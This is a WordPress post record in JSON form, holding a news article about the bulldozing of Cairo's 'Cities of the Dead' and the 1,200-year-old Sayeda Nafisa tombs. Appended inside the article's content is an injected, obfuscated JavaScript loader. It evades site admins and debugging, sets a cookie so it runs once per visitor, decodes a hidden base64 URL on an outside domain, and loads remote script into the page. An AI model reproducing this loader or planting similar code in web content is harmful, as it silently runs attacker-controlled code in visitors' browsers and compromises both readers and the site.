{"id":3821,"date":"2025-12-04T15:01:19","date_gmt":"2025-12-04T13:01:19","guid":{"rendered":"https:\/\/babmsr.com\/en\/?p=3821"},"modified":"2026-03-06T15:33:37","modified_gmt":"2026-03-06T13:33:37","slug":"demolition-of-cairos-historic-cemeteries-erases-1200-years-of-history","status":"publish","type":"post","link":"https:\/\/babmsr.com\/en\/2025\/12\/04\/demolition-of-cairos-historic-cemeteries-erases-1200-years-of-history\/","title":{"rendered":"Demolition of Cairo&#8217;s historic cemeteries erases 1,200 years of history"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/d312rsy2t5cgen.cloudfront.net\/2025\/12\/IMG_0579-1024x768.jpeg\" alt=\"Part of Sayeda Nafisa Cemetery \" class=\"wp-image-3823\" srcset=\"https:\/\/d312rsy2t5cgen.cloudfront.net\/2025\/12\/IMG_0579-300x225.jpeg 300w, https:\/\/d312rsy2t5cgen.cloudfront.net\/2025\/12\/IMG_0579-1024x768.jpeg 1024w, https:\/\/d312rsy2t5cgen.cloudfront.net\/2025\/12\/IMG_0579-768x576.jpeg 768w, https:\/\/d312rsy2t5cgen.cloudfront.net\/2025\/12\/IMG_0579-150x113.jpeg 150w, https:\/\/d312rsy2t5cgen.cloudfront.net\/2025\/12\/IMG_0579.jpeg 1280w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Partly destroyed tomb in Sayeda Nafisa cemetery. Photo Ibrahim Taie <\/figcaption><\/figure>\n\n\n\n<p>The ongoing demolition of Cairo\u2019s historic cemeteries, known as the &#8220;Cities of the Dead,&#8221; threatens to erase centuries of history, as bulldozers tear apart a unique urban and historical fabric to make way for traffic axes and tourist developments.<\/p>\n\n\n\n<p>The most stark example is the systematic destruction of the 1,200-year-old Al-Sayyeda Nafisa tombs. The northern section of Al-Qarafa Al-Sughra, or the Lesser Cemetery, now faces near-total eradication, with only a handful of landmark domes and mausoleums left standing in isolation amidst the rubble.<\/p>\n\n\n\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Partly destroyed tomb in Sayeda Nafisa cemetery. Photo Ibrahim Taie The ongoing demolition of Cairo\u2019s historic cemeteries, known as the &#8220;Cities of the Dead,&#8221; threatens to erase centuries of history, as bulldozers tear apart a unique urban and historical fabric to make way for traffic axes and tourist developments. The most stark example is the &hellip;<\/p>\n","protected":false},"author":21,"featured_media":3823,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[96],"tags":[],"class_list":["post-3821","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-greater-cairo"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Demolition of historic cemeteries erases 1200 years of history<\/title>\n<meta name=\"description\" content=\"Demolition of one of Cairo&#039;s key Islamic heritage sites, Sayeda Nafisa cemetery causes consternation amongst conservationists.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" 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